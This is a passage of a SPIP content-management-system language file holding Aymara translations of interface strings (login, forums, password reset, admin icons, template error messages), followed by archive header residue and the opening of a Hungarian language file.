'date_mois_7' => 'Julyu',
'date_mois_8' => 'Agustu',
'date_mois_9' => 'Siptimbri',
'date_saison_1' => 'Juyphi pacha',
'date_saison_2' => 'Junt’u pacha',
'date_saison_3' => 'Jallu pacha',
'date_saison_4' => 'Waña pacha',
'date_semaines' => 'Simananaka',
'dirs_commencer' => 'Uchantawixa chiqapin qalltañataki',
'dirs_preliminaire' => 'Qallta: <b>Iyaws mantawx uk amtaña</b>',
'dirs_probleme_droits' => 'Iyaws mantawxa jan wali',
'dirs_repertoires_absents' => '<p><b>Arkir imañ q’ipinakax janiw jikiskiti:</b></p><ul>@bad_dirs@.</ul> </b>
<p>Jan wali qillqatawa jach’aptat qillqanakampi jisk’aptat qillqanakampicha ukaspawa. Mayamp uñjam imñan q’ipi sutipampi jach’aptat qillqanakampi jisk’aptat qillqanakampita aka jutiri uñjata ukhama. Jan ukasti imñan q’ipix turkam softweramanti FTPta, jan wali askichañataki.
Uk lurasinsti jutir imañ q’ipinaka jikitawa.</p>
<p>Cuando hayas hecho esta operación podrás ',
'dirs_repertoires_suivants' => '<p><b>Jutir imañ q’ipinakax janiw qillqañatakikiti:</b></p><ul>@bad_dirs@.</ul>
<p>Aka jan wali askichañatakix apnaqañamaw mä FTP apnaqiri mantawx iyawsa turkañatakix sapa mayn imañ q’ipinakaru aytata. Kunamti luraña ukax qhanañchatawa uchantaw qillqat irpirina.</p>
<p>Una vez terminado este proceso, podrás ',
'double_occurrence' => 'Pä lurawi', # MODIF
// E
'envoi_via_le_site' => 'Qamawitkam apayaña',
'erreur' => 'Pantjawi',
'erreur_balise_non_fermee' => 'Qhipir markhax jan jist’antata:',
'erreur_texte' => 'Pantjawinaka',
// F
'fichier_introuvable' => 'Q’ipix janiw jiskiskiti @fichier@',
'form_deja_inscrit' => 'Qillqataxtaw.',
'form_email_non_valide' => 'Aruskipayirimanx utjawipax janiw walikiti',
'form_forum_access_refuse' => 'Aka qamawirux mantawimax janiw utjiti',
'form_forum_bonjour' => 'kamisaki @nom@,',
'form_forum_email_deja_enregistre' => 'Aka aruskipayirit utjawix qillqt’ataxiwa ukatx imt’awimx lurasmaw',
'form_forum_identifiant_mail' => 'Machaq uñacht’ayirima apayapxtwa aruskipayirita.',
'form_forum_identifiants' => 'Sapa maynit uñacht’ayiri',
'form_forum_indiquer_nom_email' => 'Akar sutim uñachayam ukhamarak aruskipayirim uñachayam. Jank’akiw juman uñacht’ayirim apayanitam',
'form_forum_login' => 'Uñt’ayasiwi:',
'form_forum_message_auto' => '(Akax mä justupak yatiyawiwa)',
'form_forum_pass' => 'Imt’awi:',
'form_forum_probleme_mail' => 'Aruskipayirix jan waliwa: janiw uñacht’ayirix apayañjamakiti',
'form_forum_voici1' => 'Esta es tu identificación para participar
en los foros del sitio \\"@nom_site_spip@\\" (@adresse_site@):',
'form_forum_voici2' => 'Esta es tu identificación para proponer artículos
en el sitio \\"@nom_site_spip@\\" (@adresse_login@): ',
'form_indiquer_email' => 'Utjawi aruskipayirimat uñachayam',
'form_indiquer_nom' => 'Sutim uñachayam',
'form_indiquer_nom_site' => 'Web qamawimat suti uñachayam',
'form_pet_deja_enregistre' => 'Aka qamawix qillqt’ataxiwa',
'form_pet_signature_pasprise' => 'Iyawsamax janiw qillqaskiti.',
'form_prop_confirmer_envoi' => 'Apawi iyaw sañapuni',
'form_prop_description' => 'Uñt’ayawi/amuyawi',
'form_prop_enregistre' => 'Amtatamax qillqataxiwa, iyaw sapkani khitinakatix apnaqapxi aka qamawxa ukatwa naktat uñstani.',
'form_prop_envoyer' => 'Mä yatiyaw apayaña',
'form_prop_indiquer_email' => 'Mä aruskipayirin iyaw sat utjawip uk uñachayam',
'form_prop_indiquer_nom_site' => 'Qamawin sutip uñachayama.',
'form_prop_indiquer_sujet' => 'Yatsuw uñachayaña',
'form_prop_message_envoye' => 'Yatiyaw apayata',
'form_prop_non_enregistre' => 'Amuyt’awimax janiw qillqatakiti.',
'form_prop_sujet' => 'Yatsuwi',
'form_prop_url_site' => 'Qamawin (URL) utjawipa', # MODIF
'forum_non_inscrit' => 'Janiw qillqataktati, utjawich imt’atach pantjatawa.',
'forum_par_auteur' => 'lurata @auteur@',
'forum_titre_erreur' => 'Pantjata...',
// I
'ical_texte_rss_articles' => '«Backend» q’ipix aka qamawin qillqatanakata, utjawin jikisi:',
'ical_texte_rss_articles2' => 'Ukhamarak «backend» q’ipinak jikismaw qillqatanakatakix sapa t’aqat aka sutinchatata: ',
'ical_texte_rss_breves' => 'Ukhamarak mä q’ipi kawkintix jisk’aptatanak qamawin utji. T’aqa jakhuwi qhananchasa, jisk’aptatanakaki jikisispa.',
'icone_a_suivre' => 'Lurawinakajaxa',
'icone_admin_site' => 'Qamaw apnaqawi',
'icone_agenda' => 'Pachachimpu lurawinaka',
'icone_aide_ligne' => 'Naktata yanapaña',
'icone_articles' => 'Qillqatanaka',
'icone_auteurs' => 'Qillqirinaka',
'icone_brouteur' => 'Jank’aki tuyuwi',
'icone_configuration_site' => 'Qamaw uñtayawi',
'icone_configurer_site' => 'Qamaw uñtayaña',
'icone_creer_nouvel_auteur' => 'Mä machaq qillqir uñstayaña',
'icone_creer_rubrique' => 'Mä t’aqa uñstayaña',
'icone_creer_sous_rubrique' => 'Mä sullkir t’aq uñstayaña
',
'icone_deconnecter' => 'T’aqaqtasiña',
'icone_discussions' => 'Amuykipañanaka',
'icone_doc_rubrique' => 'T’aqanakan qillqa q’ipinaka',
'icone_ecrire_article' => 'Machaq qillqata',
'icone_edition_site' => 'Qamaw askiptawi',
'icone_gestion_langues' => 'Arunakat apnaqawi',
'icone_informations_personnelles' => 'Sapa maynit yatiyawinaka
',
'icone_interface_complet' => 'Phuqat ajanu',
'icone_interface_simple' => 'Mä ajanuki',
'icone_maintenance_site' => 'Qamawit uñjawi',
'icone_messagerie_personnelle' => 'Sapa maynit yatiyañanaka',
'icone_repartition_debut' => 'Qalltatpach lakiraw uñachaña',
'icone_rubriques' => 'T’aqanaka',
'icone_sauver_site' => 'Qamawit mä jarkat qillqaqa luraña',
'icone_site_entier' => 'Taqpach qamawi',
'icone_sites_references' => 'Aytat qamawinak',
'icone_statistiques' => 'Qamawit tantiyatanaka',
'icone_suivi_activite' => 'Qamawit uñch’ukiwi',
'icone_suivi_actualite' => 'Qamawin jilawi',
'icone_suivi_pettions' => 'Mayitanakat apnaqawi',
'icone_suivi_revisions' => 'Qillqatanakat mayjaptatanaka',
'icone_supprimer_document' => 'Aka qillqa q’ip apaqaña',
'icone_supprimer_image' => 'Aka salta apaqaña',
'icone_tous_articles' => 'Taqpach qillqatanakama',
'icone_tous_auteur' => 'Taqpach qillqirinaka',
'icone_visiter_site' => 'Aka qamaw tumpaña', # MODIF
'icone_voir_en_ligne' => 'Naktat uñjaña',
'img_indisponible' => 'Salta wakita',
'impossible' => 'janipini',
'info_a_suivre' => 'NAN LURAWINAKAJAXA',
'info_acces_interdit' => 'Mantawj jark’ata',
'info_acces_refuse' => 'Mantawj janiw sata',
'info_action' => 'Lurawi: @action@',
'info_administrer_rubriques' => 'Aka t’aqxa ukhamarak sullkir t’aqanakxa apnaqasmaw',
'info_adresse_non_indiquee' => '¡yant’añ utjawxa uñachayapxistaw!',
'info_aide' => 'YANAPA',
'info_ajouter_mot' => 'Aka aru yapt’aña',
'info_annonce' => 'Yatiyawi',
'info_annonces_generales' => 'Jach’a yatiyawinaka',
'info_article_propose' => 'Qillqatanak amtata',
'info_article_publie' => 'Qillqat yatiyata',
'info_article_redaction' => 'Qillqat lurasiskiwa',
'info_article_refuse' => 'Janiw sat qillqata',
'info_article_supprime' => 'Qillqat apaqata',
'info_articles' => 'Qillqatanaka',
'info_articles_a_valider' => 'Qillqatanak iyaw sañataki',
'info_articles_proposes' => 'Amtat qillqatanaka',
'info_auteurs_nombre' => 'Qillqirinaka:',
'info_authentification_ftp' => 'Iyasawi (por FTP).',
'info_breves_2' => 'jisk’aptatanaka',
'info_connexion_refusee' => 'Arust’awix janiw satakiti',
'info_contact_developpeur' => 'Mä prucramaturamp aruskipt’añamawa.',
'info_contenance' => 'Aka qamawinx utjiwa:',
'info_contribution' => 'Aruskipañat yanapawinaka', # MODIF
'info_copyright' => '@spip@ mä software libre lakiratawa @lien_qpl@.',
'info_copyright_doc' => 'Juk’amp yatxatañatakix qamaw uñjaña <a href=\'http://www.spip.net/es\'>http://www.spip.net/es</a>. ', # MODIF
'info_copyright_gpl' => 'GLP iyaw sakiñampi',
'info_cours_edition' => 'Qillqatanakamax qillqt’asiskiwa', # MODIF
'info_creer_repertoire' => 'Mä q’ipi jan ukjax mä imañ q’ipi akham sutin uñstayañamaxa',
'info_creer_repertoire_2' => 'jach’a q’ipina <b>@repertoire@</b>, ukatxa ',
'info_creer_vignette' => 'Jisk’itat justupak uñstayawi',
'info_deplier' => 'Janatataña',
'info_descriptif_nombre' => 'Uñicht’ayawinaka:',
'info_description' => 'Uñicht’ayawi:',
'info_description_2' => 'Uñicht’ayawi:',
'info_dimension' => 'Ukch’a pachanaka',
'info_ecire_message_prive' => 'Mä jark’at yatiyaw qillqaña',
'info_email_invalide' => 'Aruskipayirin utjawix janiw walikiti.',
'info_en_cours_validation' => 'Qillqatanakamax lurasiskiwa',
'info_en_ligne' => 'Jichhax naktataskiwa',
'info_envoyer_message_prive' => 'Mä jark’at yatiyaw aka qillqirir apayaña',
'info_erreur_requete' => 'Mayiwin pantjawiw utji:',
'info_erreur_squelette2' => 'Janiw ni mä ch’akha ch’akhas <b>@fichier@</b> wakitakiti... ',
'info_erreur_systeme' => 'Apnaqawin pantjawiw utji (errno @errsys@) ',
'info_erreur_systeme2' => 'Disco duruxa phuqataspawa jan ukasti yatiyawinak pirwax janiw askikiti.<br />
<span style="color:red;">Pirwam <a href=\'@script@\'>askichañ yant’am</a>, jan ukax tampuma jikxatam.</span> ',
'info_fini' => '¡Tukuyata!',
'info_format_image' => 'Saltan utt’ayata jisk’a saltanak apnaqawitaki @gd_formats@.',
'info_format_non_defini' => 'utt’ayatax janiw uñacht’ayatakiti',
'info_grand_ecran' => 'Phuqat salta',
'info_image_aide' => 'Yanapa',
'info_image_process_titre' => 'Kunjams jisk’aptatanak uñstayaña',
'info_impossible_lire_page' => '¡Pantjata! </b> Janiw laphi uñnaq liyiñjamakiti <tt><html>@test_proxy@</html></tt> \\"proxy\\" <tt> ukampi',
'info_installation_systeme_publication' => 'Apnaqaw yatiyat uchantawipa',
'info_installer_documents' => 'Taqpach qillqa q’ipinak, jach’a q’ipin utjkix ukanaksustupak uchantasmax @upload@',
'info_installer_ftp' => 'Iyaws apnaqirinakampi, q’ipinak uchantasmawa imañ q’ipina (FTP ukampi) @upload@ ukatxa akan ajlliñataki.',
'info_installer_images' => 'Saltanak utt’ayat uchantasmaw JPEG, GIF Y PNG.',
'info_installer_images_dossier' => 'Imañ q’ipin saltanak uchantaña @upload@ ukat akjan ajlliñataki.',
'info_interface_complete' => 'Phuqat ajanu',
'info_interface_simple' => 'Má ajanuki',
'info_joindre_document_article' => 'Aka qillqatanakarux kasta qillqa q’ipinak jaqkatasmaw',
'info_joindre_document_rubrique' => 'Aka t’aqarux kasta qillqa q’ipinak jaqkatasmaw',
'info_joindre_documents_article' => 'Aka t’aqarux kasta qillqa q’ipinak jaqkatasmaw',
'info_l_article' => 'qillqataxa',
'info_la_breve' => 'jisk’aptataxa',
'info_la_rubrique' => 't’aqaxa',
'info_langue_principale' => 'Qamawin aru',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ píxeles',
'info_les_auteurs_1' => 'lurata @les_auteurs@',
'info_logo_format_interdit' => 'Utt’ayat uñachir chimpunakak iyaw sataxa @formats@.',
'info_logo_max_poids' => 'Uñachir chimpunakaxa phisnakiñapawa @maxi@ (q’ipix jathiwa @actuel@).',
'info_mail_fournisseur' => 'Juman@churirima.com',
'info_message_2' => 'YATIYAWI',
'info_message_supprime' => 'Yatiyaw apaqata',
'info_mise_en_ligne' => 'Qalltkis naktawix uka uru',
'info_modification_parametres_securite' => 'tantiyt’at jark’aw mayjt’awinakapa',
'info_mois_courant' => 'Aka jichha phaxsina:',
'info_mot_cle_ajoute' => 'Jutir imt’at arux qillqataruw yapt’i',
'info_multi_herit' => 'Armaqat aru',
'info_multi_langues_soulignees' => '<u>Arunakaxa sirqitanakaxa</u> ajanutxa taqpach sawutanak mä jaqukipaw churi.
Sitix uka arunak ajlltax.Walja sapa mayanaka jach’a qamawita (urunaka, phuqañ laphinaka) justupak jaqukiptatani. Jani aru sirqitanakataki, qamawit arun uñstani.', # MODIF
'info_multilinguisme' => 'Walja arunaka',
'info_nom_non_utilisateurs_connectes' => 'Sutimax janiw uñstkiti jaqi tantanakan chinuta',
'info_nom_utilisateurs_connectes' => 'Sutimax uñstiw jaqi tantanakan chinuta',
'info_nombre_en_ligne' => 'Jichhax naktatawa',
'info_non_resultat' => 'Thaqawitaqix janiw askichawinak jikiskiti \\"@cherche_mot@\\"',
'info_non_utilisation_messagerie' => 'Manqhax yatiyaw jan apnaqaña.',
'info_nouveau_message' => '<b>¡Ma machaq yatiyawinitawa!</b>',
'info_nouveaux_messages' => 'Utjtam @total_messages@ machaq yatiyawinaka',
'info_numero_abbreviation' => 'N°',
'info_pense_bete' => 'Katxasiñatak amtayiri',
'info_petit_ecran' => 'Jisk’a uñachayiri',
'info_pixels' => 'píxeles',
'info_plusieurs_mots_trouves' => 'Walja imt’at arunak jiktan kunataki',
'info_portfolio_automatique' => 'Justup imañ q’ìpi',
'info_premier_resultat' => '[@debut_limit@ pnayraqat askichawinakat @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ nayraqat askichawinakat @total@]',
'info_propose_1' => '[@nom_site_spip@] Amtata: @titre@',
'info_propose_2' => 'Amtat qillqatanak
-----------------',
'info_propose_3' => 'Qillqataxa \\"@titre@\\" amtatawa yatiyasiñapataki.',
'info_propose_4' => 'Jawsthapitataw jiskht’añataki ukhamarak arst’añataki',
'info_propose_5' => 'aruskipayirina. Utjawinx wakitaw:',
'info_publie_01' => 'Qillqatax \\"@titre@\\" iyaw sataxiw luririta @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] YATIYATA: @titre@',
'info_publie_2' => 'Qillqat yatiyata
----------------',
'info_rechercher' => 'Thaqhaña',
'info_rechercher_02' => 'Thaqhaña',
'info_remplacer_vignette' => 'Nayrt’at jisk’a salta lantiñawa mä salta ajllitampi:',
'info_sans_titre_2' => 'Jan sutichawimpi',
'info_selectionner_fichier' => 'Jach’a q’ipitxa mä qillqa q’ip ajllismaw @upload@',
'info_selectionner_fichier_2' => 'Mä qillqa q’ipi ajlliña...',
'info_supprimer_vignette' => 'Aka salta apaqaña',
'info_symbole_bleu' => '<b>Laram</b> chimpux sañ muni sapa mayni amtawi mä amtawjamawa. ',
'info_symbole_jaune' => '<b>Q’illu</b> chimpux sañ muniwa taqinir yatiyañataki qamaw apnaqirinakakiw mayjt’ayi ukhamarak taqpach qillqirinakat qhana uñjataw.',
'info_symbole_vert' => '<b>Ch’uxña</b> chimpux turkat yatiyawinaka yaqha qamaw jaqinakamp uk uñachayi',
'info_telecharger_nouveau_logo' => 'Mä machaq uñachir chimpu apkataña:',
'info_telecharger_ordinateur' => 'Computaturamat apkataña:',
'info_tous_resultats_enregistres' => '[taqpach askichatawinak qillqatawa]',
'info_tout_afficher' => 'Taqpach uñachayaña',
'info_travaux_texte' => 'Aka qamawix janiraw kamachitakiti. Juk’amp nayraqatar kuttam.',
'info_travaux_titre' => 'Qamawix mayxt’ayataskiw',
'info_trop_resultat' => 'Thaqawitakix anchapuniw askichawinakax utji \\"@cherche_mot@\\". Amuyunak uñachayam.',
'info_utilisation_messagerie_interne' => 'Qamawit manqhax yatiyaw apnaqta.',
'info_valider_lien' => 'Aka chinu iyaw saña',
'info_verifier_image' => ', sumti saltanak inxtayapxi uk mayampi uñtam.',
'info_vignette_defaut' => 'Nayrt’at salta',
'info_vignette_personnalisee' => 'Kunamtix jumax jisk’a salt muntaxa',
'info_visite' => 'tumpawi:',
'info_vos_rendez_vous' => 'Aytatanakama',
'infos_vos_pense_bete' => 'Amtatanakama', # MODIF
// L
'lien_afficher_icones_seuls' => 'Jisk’a saltanakak uñachayaña',
'lien_afficher_texte_icones' => 'Jisk’a saltanakampi sawutanakampi uñachayaña',
'lien_afficher_texte_seul' => 'Sawuk uñachayaña',
'lien_liberer' => 'Antutjaña',
'lien_liberer_tous' => 'aka qillqatanak antutjaña', # MODIF
'lien_nouvea_pense_bete' => 'Machaq amtawirinaka',
'lien_nouveau_message' => 'Machaq yatiyawi',
'lien_nouvelle_annonce' => 'Machaq yatiyawi',
'lien_petitions' => 'Mayiwi',
'lien_popularite' => 'Juk’amp tumpata: @popularite@%',
'lien_racine_site' => 'Qamaw qalltawi',
'lien_reessayer' => 'mayamp yant’aña',
'lien_repondre_message' => 'Aka yatiyawir jaysaña',
'lien_supprimer' => 'Apaqaña',
'lien_tout_afficher' => 'Taqpach uñachayaña',
'lien_visite_site' => 'Aka qamaw tumpaña',
'lien_visites' => '@visites@ tumpawinaka.',
'lien_voir_auteur' => 'Aka qillqir uñjaña',
'ligne' => 'Naktawi',
'login_acces_prive' => 'ch’usawx jark’at mantawi',
'login_autre_identifiant' => 'yaqha sutimpi yatiyt’asiña',
'login_cookie_accepte' => 'Iyaw sañapatakix tuyuri kamachim (aka qamawitaki).',
'login_cookie_oblige' => 'Aka qamawin uñt’ayasiñatakix, iyaw sañamaw \\"cookies\\" ukanakaru.',
'login_deconnexion_ok' => 'Jan yatiyt’ir lurata.',
'login_erreur_pass' => 'Imt’aw pantjata.',
'login_espace_prive' => 'ch’usawx jark’ata',
'login_identifiant_inconnu' => 'Apnaqirin sutipa «@login@» janiw uñt’atakiti.',
'login_login' => 'Apnaqirin sutipa:',
'login_login2' => 'Qalltawi (qamawir yatiyt’asiñataki apnaqirin sutipa):', # MODIF
'login_login_pass_incorrect' => '(Apnaqirin sutipach imt’at jan wali.)',
'login_motpasseoublie' => '¿imt’aw armata?',
'login_non_securise' => 'Amuyam, aka phuqañ laphix janiw sum imatakiti. Janitix imt’atamx katuntat red ukan munktax, naktayam JavaScript en tu navegador y ',
'login_nouvelle_tentative' => 'Mayamp yant’awi',
'login_par_ici' => 'Akhanakan qillqatatawa...',
'login_pass2' => 'Imt’awi:',
'login_preferez_refuser' => '<b>Janitix munktaxa \\"cookies\\"</b>, yaqha chinuwit thakhi (jan sum jark’ata) ukax jumataxiw:',
'login_recharger' => 'Aka laphi uñnaq phuqantaskakiña',
'login_rester_identifie' => 'Mä qawqha urunak uñt’ayasiña',
'login_retour_public' => 'Jach’a qamaw utar kuttaña',
'login_retour_site' => 'Jach’a qamaw utar kuttaña',
'login_retoursitepublic' => 'jach’a qamaw uta',
'login_sans_cookiie' => 'Uñicht’aw jan \\"cookie\\"',
'login_sinscrire' => 'qillqayasiña',
'login_test_navigateur' => 'tuyur yant’a/mayamp yatiyt’awi',
'login_verifiez_navigateur' => '(Tuyurimax janiw imt’atam sum katkiti uk qhanstayam...)',
// M
'masquer_trad' => 'Jaqukipawinak imt’aña',
'module_fichiers_langues' => 'Aru q’ipinaka',
// N
'navigateur_pas_redirige' => 'Janitix tuyurimax justupak chiqañchkitix, akjawx limt’am sarantaskakiñataki.',
'numero' => 'Jakhuwi',
// O
'occurence' => 'Amuyuwi',
'onglet_affacer_base' => 'Yatqalltaw chhaqayaña',
'onglet_auteur' => 'Qillqiri',
'onglet_contenu_site' => 'Qamawin utjirinaka',
'onglet_evolution_visite_mod' => 'Mayjt’awi',
'onglet_fonctions_avances' => 'Yatichsuwinak nayrt’ata',
'onglet_informations_personnelles' => 'Sapa maynit yatiyawinakapa',
'onglet_interactivite' => 'Aruskipayiri',
'onglet_messagerie' => 'Yatiyawiri',
'onglet_repartition_rubrique' => 'T’aqat t’aqat jalja',
'onglet_save_restaur_base' => 'Yanapat qillqaqa ukhamarak yatqalltawit sumachawi',
'onglet_vider_cache' => 'Caché ukax ch’usayaña',
// P
'pass_choix_pass' => 'Machaq imt’awim ajllima:',
'pass_erreur' => 'Pantjata',
'pass_erreur_acces_refuse' => '<b>Error:</b> aka qamawir janiw mantawimx utjiti ',
'pass_erreur_code_inconnu' => '<b>Error:</b> aka chimpux janiw ni khiti aka qamawir mantawimp tumpirinkiti.',
'pass_erreur_non_enregistre' => '<b>Error:</b> utjawixa <tt>@email_oubli@</tt> aka qamawinx janiw qillqatakiti.',
'pass_erreur_non_valide' => '<b>Error:</b> aka utjawix <tt>@email_oubli@</tt> janiw iyaw satakiti',
'pass_erreur_probleme_technique' => '<b>Pantjata:</b> mä jan wali utjkipana, ukat janiw yatiyawix apayasiñ puyriskiti.
',
'pass_espace_prive_bla' => 'Aka qamawinx ch’usawx jark’atax jist’aratawa, mä qillqawi ukhamata. Qillqataxtaxa ukjax yatxatasmaw qillqatanakax qillqasiski ukanaka, qillqatanak amtaña ukhamarak taqi aruskipañanakan arsusiñamaw.',
'pass_forum_bla' => 'Mä aruskipañan qillqat jaqinakampi jupanakampiki ukan arsusiñ mayistawa.',
'pass_indiquez_cidessous' => 'Ukatxa aruskipayirin utjawip kuna sutimpis nayraqatax qillqayasta uk uñachayam. Mä yatiyaw qatuqata kunamtix mantawjam kutiqayasita uka.',
'pass_mail_passcookie' => '(Akax mä justup qamawiwa) Qamawir mantawx kutiqayasiñatakix @nom_site_spip@ (@adresse_site@) arkir utjawir saraña: @sendcookie@ Ukar mä machaq imt’aw jumaw uskusma ukatxa mayamp qamawir chinusita.',
'pass_mot_oublie' => 'Imt’aw armata',
'pass_nouveau_enregistre' => 'Machaq imt’awimax qillqatawa.',
'pass_nouveau_pass' => 'Machaq imt’awi',
'pass_ok' => 'Waliki',
'pass_oubli_mot' => 'Imt’aw armata',
'pass_quitter_fenetre' => 'Aka wintan jaytanukuña',
'pass_rappel_login' => 'Amtam: apnaqirit sutimax (login) «@login@».',
'pass_recevoir_mail' => 'Aruskipayirit mä yatiyaw qatuqata kunjams mantwj qamawir kutiqayata.',
'pass_retour_public' => 'Jach’a qamaw utar kuttaña',
'pass_rien_a_faire_ici' => 'Akjan janiw kuna lurañas utjkiti.',
'pass_vousinscrire' => 'Aka qamawin qillqayasiña',
'precedent' => 'nayrt’ata',
'previsualisation' => 'Nayrt’at uñjat
',
'previsualiser' => 'Nayt’at uñjaña',
// S
'spip_conforme_dtd' => 'SPIP ukax aka qillqa q’ip kipkakikix DOCTYPE ukhama amuyi:',
'squelette' => 'ch’akha ch’akha',
'squelette_inclus_ligne' => 'aka ch’akha ch’akha apkataña, naktawi',
'squelette_ligne' => 'ch’akha ch’akha, naktawi',
'stats_visites_et_popularite' => '@visites@ tumpatanaka; juk’amp tumpata: @popularite@ ',
'suivant' => 'arkiri',
// T
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Ajanu ukamp yatistax ukjax, Ukjan limt’am «',
'texte_actualite_site_2' => 'ajan phuqata',
'texte_actualite_site_3' => '» kunans juk’amp lurasispa.',
'texte_creation_automatique_vignette' => 'Aka qamawix iyaw sï jisk’a saltanak justupak uñstayañataki kunamti utt’ayat ukjama:
@gd_formats@. Saltanak uchantkatax ukanakxa aka phuqañ laphimpi jisk’a salta @taille_preview@ píxeles ukaniniwa.',
'texte_documents_associes' => 'Arkir qillqa q’ipinakaxa q’ipir mayachatawa, ukhamarusa janiw chiqaq uchantaskiti. Kunamtix jach’a qamawix utt’ayat ukhama, Qillqa q’ipinak apkatatjam ukham uñstanipxaspa.',
'texte_erreur_mise_niveau_base' => 'Yatiyawinakat pirwax pantjawi utji jichhakiskapki ukja. Saltaxa <b>@fichier@</b> janiw paskiti (qillqata @id_article@). Aka aytat qillqt’am mayampi jichhakiptaña yant’am ukat mayamp uñjam qillqatanakan saltax uñstki uka.',
'texte_erreur_visiteur' => 'Ch’usawx jark’ataru mä uñacht’ayirimp janiw sï ukampi mantañ yant’a.',
'texte_inc_auth_1' => 'Uñacht’ayastati login ukampi <b>@auth_login@</b>, ukhamarus akax janiw yatiyawin utjkiti. Mayamp yant’am',
'texte_inc_auth_2' => 'mayamp chinusim',
'texte_inc_auth_3' => ', janiw wiñayataki jist’antasinxa ukhamarki mayampi tuyurima qalltasina.',
'texte_inc_config' => 'Aka laphi uñnaqanakanja mayjt’awinakanxa qamawiman lurawipa amtayiwa. Janir uñtkasa iwxapsmawa jan arsuña apnaqawin lurawipampi SPIP.<br /><br /><b>Más ámpliamente, se recomienda vivamente dejar la gestión de estas páginas al o a la webmestre principal del sitio.</b> ',
'texte_inc_meta_1' => 'Mä pantjawiw qillqat q’ipita apnaqawix jikitayna<code>@fichier@</code>. Qamawit apnaqiri, ukham luraña.',
'texte_inc_meta_2' => 'qillqat iyawsanak mayamp uñtaña',
'texte_inc_meta_3' => 'Jach’a q’ipitxa <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'Qillqasiskiwa',
'texte_statut_poubelle' => 'Wayaqaru',
'texte_statut_propose_evaluation' => 'Arusthapiwir amtata',
'texte_statut_publie' => 'Yatiyata',
'texte_statut_refuse' => 'Janiw sata',
'titre_ajouter_mot_cle' => 'Mä imt’at aru yapt’aña',
'titre_cadre_raccourcis' => 'Jisk’a thakinaka...',
'titre_changer_couleur_interface' => 'Ajanut kulur turkaña',
'titre_image_admin_article' => 'Aka qillqat apnaqasmaw',
'titre_image_administrateur' => 'Apnaqiri',
'titre_image_aide' => 'Akar yanapam',
'titre_image_auteur_supprime' => 'Qillqir apaqata',
'titre_image_redacteur' => 'Qillqir jan mantawimpi',
'titre_image_redacteur_02' => 'Qillqiri',
'titre_image_visiteur' => 'Tumpiri',
'titre_joindre_document' => 'Mä qillqa q’ip yapayaña',
'titre_mots_cles' => 'Imt’at aru',
'titre_probleme_technique' => 'UÑJAM: Mä jan waliw utji (jalanuqiri MySQL) janiw aka qamawir mantaykiti',
'titre_publier_document' => 'AKA T’AQAN MÄ QILLQA Q’IP YATIYAÑA',
'titre_statistiques' => 'Qamawit tantiyir',
'titre_titre_document' => 'Qillqa q’ipin sutinchawi',
'trad_reference' => '(aytat q’ipi)', # MODIF
// Z
'zbug_balise_b_aval' => ': bucle B chimputa juk’amp nayraru',
'zbug_balise_inexistante' => 'error @from@: la baliza #@balise@ no existe', # MODIF
'zbug_boucle' => 'bucle',
'zbug_boucle_recursive_undef' => 'Bucle ukax maypamp mayampi jan uñacht’ayata', # MODIF
'zbug_champ_hors_boucle' => 'Uka chiqar @champ@ bucle anqata',
'zbug_champ_hors_motif' => 'Uka chiqaru @champ@ anqat bucle ukata @motif@', # MODIF
'zbug_code' => 'chimpu',
'zbug_critere_inconnu' => 'amuy jan uñt’ata @critere@ ', # MODIF
'zbug_distant_interdit' => 'anqax jark’ata', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'repetidos en una tabla sin clave primaria simple', # MODIF
'zbug_doublon_table_sans_index' => 'payacht’awinakaw utji mä uyu uyun jan utjawimpi', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: pä arusthapiwi', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: jist’antat chimpux janiw utjkiti', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Kamachix bucle ukata pantjatawa', # MODIF
'zbug_erreur_compilation' => 'Mayachawit pantjata',
'zbug_erreur_execution_page' => 'pantja lurawi laphi uñnaqata', # MODIF
'zbug_erreur_filtre' => 'Pantja: filtru <b>« @filtre@ »</b> jani arusthapita', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} bucles ukanakaruki lurasi (FORUMS) jan ukjax (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Ch’akha ch’akhan panjanaka',
'zbug_info_erreur_squelette' => 'Qamawin pantja',
'zbug_inversion_ordre_inexistant' => 'jan utjkiri kamachitathijrawi', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION jan amuyumpi {pagination}mä bucle mayamp mayampi apnaqata ', # MODIF
'zbug_parametres_inclus_incorrects' => 'Apkatatawit tantiyata pantjatanaka', # MODIF
'zbug_resultat' => 'askichawita',
'zbug_serveur_indefini' => 'jalanuqiri SQL jan arusthapita', # MODIF
'zbug_table_inconnue' => 'Uyu uyu SQL «@table@» jan uñt’at',
'zxml_connus_attributs' => 'Jan uñt’atanak uñtawinaka',
'zxml_de' => 'ukata',
'zxml_inconnu_attribut' => 'Jan uñt’atanak uñtawinaka',
'zxml_inconnu_balise' => 'Jan uñt’at chimpu',
'zxml_inconnu_entite' => 'Jan uñt’at tama ',
'zxml_inconnu_id' => 'ID jan uñt’ata',
'zxml_mais_de' => 'ukhamata ',
'zxml_non_conforme' => 'kun yanas janiw askikiti ',
'zxml_non_fils' => 'Janiw wawapakiti ',
'zxml_nonvide_balise' => 'jan ch’usa chimpu',
'zxml_obligatoire_attribut' => 'uñt’awpini ukhamarusa chhaqhatawa ',
'zxml_succession_fils_incorrecte' => 'yuqanakat panjawi sullka t’aqa',
'zxml_survoler' => 'akar pasaña walik qillqatanak uñjañataki',
'zxml_valeur_attribut' => 'uñt’awi',
'zxml_vide_balise' => 'ch’usa chimpu',
'zxml_vu' => 'nayra uñjata '
);
?>
public_hu.php 0000666 00000007000 15252547432 0007241 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=hu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Főoldal', # MODIF
'articles' => 'Cikkek',
